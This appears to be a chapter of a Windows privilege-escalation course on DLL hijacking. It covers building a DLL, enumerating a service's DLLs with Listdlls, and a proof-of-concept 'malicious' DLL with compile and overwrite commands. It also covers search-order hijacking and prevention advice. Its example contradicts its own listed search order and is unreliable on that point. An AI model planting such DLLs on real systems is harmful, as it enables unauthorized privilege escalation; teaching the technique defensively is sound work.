9 - DLL Hijacking

Topics

  1. Introduction to the Windows Shells

  2. Windows Permissions

  3. Reverse Shells in Windows

  4. SeImpersonatePrivilege Exploitation

  5. On Cross Compilation

  6. Windows Services

  7. Weak Service Permissions

  8. Unquoted Service Path

  9. DLL Hijacking

  10. Always Install Elevated

  11. Files with Sensitive Data

  12. Windows Hashes

  13. Stored Credentials and the Windows Vault

  14. Scheduled Task

  15. Critical Registry Paths

  16. Useful Tools

  17. AMSI Bypass

Dynamic Link Libraries (DLLs) are modular libraries used by Windows programs to reuse common code and functions. DLLs allow multiple applications to share a single copy of the library code, reducing redundancy and improving memory efficiency.

Linux vs. Windows

  • Linux: Uses shared objects (.so) for dynamic linking.

  • Windows: Uses Dynamic Link Libraries (.dll).

Because DLLs are loaded dynamically during execution, they are a target for attackers, who can exploit vulnerabilities to inject malicious code.


Attack Vectors in DLLs

  1. Overwriting an Existing DLL:

    • If the attacker has write permissions to a DLL used by a program, they can replace it with a malicious version.

  2. DLL Search Order Hijacking:

    • If a program loads a DLL without specifying its absolute path, Windows searches for it in a specific order.

    • Attackers can place a malicious DLL in a directory that gets searched before the legitimate DLL’s

A Simple Example of DLL Creation

DLLs can be created to encapsulate reusable code that other programs can call dynamically during runtime. Below is an example of creating a simple DLL and a program that uses it.

Library Code (lib.c)

This code defines a function add_numbers that takes two integers and returns their sum:

#include <windows.h>

__declspec(dllexport) int add_numbers(int a, int b) {
    return a + b;
}

Compile the DLL

Use mingw-w64 with the -shared flag to generate a DLL:

x86_64-w64-mingw32-gcc -shared -o lib.dll lib.c

Main Program Code (main.c)

This program dynamically loads the DLL and calls the add_numbers function:

#include <stdio.h>
#include <windows.h>

typedef int (*AddNumbersFunc)(int, int);

int main() {
    HINSTANCE hinstLib;
    AddNumbersFunc addNumbers;
    int result;

    // Load the DLL
    hinstLib = LoadLibrary(TEXT("lib.dll"));
    if (hinstLib == NULL) {
        printf("Could not load the DLL\n");
        return 1;
    }

    // Get function pointer
    addNumbers = (AddNumbersFunc)GetProcAddress(hinstLib, "add_numbers");
    if (addNumbers == NULL) {
        printf("Could not find the function in the DLL\n");
        FreeLibrary(hinstLib);
        return 1;
    }

    // Call the function
    result = addNumbers(5, 10);
    printf("Result of add_numbers(5, 10): %d\n", result);

    // Free the DLL
    FreeLibrary(hinstLib);

    return 0;
}

Compile the Main Program

x86_64-w64-mingw32-gcc -o main.exe main.c

Service DLL Enumeration

To enumerate the DLLs loaded by a service, use the Listdlls utility from Sysinternals.

Command Example

.\Listdlls64.exe /accepteula simpleService

Example Output

Base                Size      Path
0x00000000a0140000  0x12000   C:\Users\Quickemu\Downloads\simpleService.exe
0x00000000c2ad0000  0x217000  C:\Windows\SYSTEM32\ntdll.dll
0x00000000c2550000  0xc4000   C:\Windows\System32\KERNEL32.DLL
...

This output lists all DLLs loaded by the simpleService.exe process.


Overwriting DLL Binaries

If a DLL used by a service has weak permissions, it can be overwritten with a malicious DLL.

Example Malicious DLL (malicious-lib.c)

#include <windows.h>
#include <stdlib.h>

__declspec(dllexport) int add_numbers(int a, int b) {
    system("echo 'hacked' > C:\\Users\\Quickemu\\Downloads\\HACKED");
    return a + b;
}

Compile the Malicious DLL

x86_64-w64-mingw32-gcc -shared -o malicious-lib.dll malicious-lib.c

Overwrite the Original DLL

copy malicious-lib.dll C:\Path\To\Original\DLL.dll

Whenever the application loads the DLL, the malicious code executes.


Hijacking DLL Search Order

When a program loads a DLL without specifying its full path, Windows searches for the DLL in a specific order:

  1. Folder specified by the program (if any).

  2. System folder (e.g., C:\Windows\System32).

  3. 16-bit system folder.

  4. Windows directory (retrieved using GetWindowsDirectory()).

  5. Current directory.

  6. Directories in the PATH environment variable.

Example Vulnerability

If a legitimate DLL resides in C:\Windows\System32\, an attacker can place a malicious DLL in the current directory, which gets searched first.


Preventing DLL Hijacking

  • Specify Absolute Paths: Always use full paths when loading DLLs:

    hinstLib = LoadLibrary(TEXT("C:\\Path\\To\\lib.dll"));
  • Restrict Write Permissions: Ensure that only authorized users have write access to directories containing critical DLLs.

  • Monitor DLL Changes: Use tools like Listdlls or Windows auditing to track unauthorized modifications to DLLs.


Other Resources

Disclaimer

❗ Never use tools and techniques on real IP addresses, hosts or networks without proper authorization!

Last updated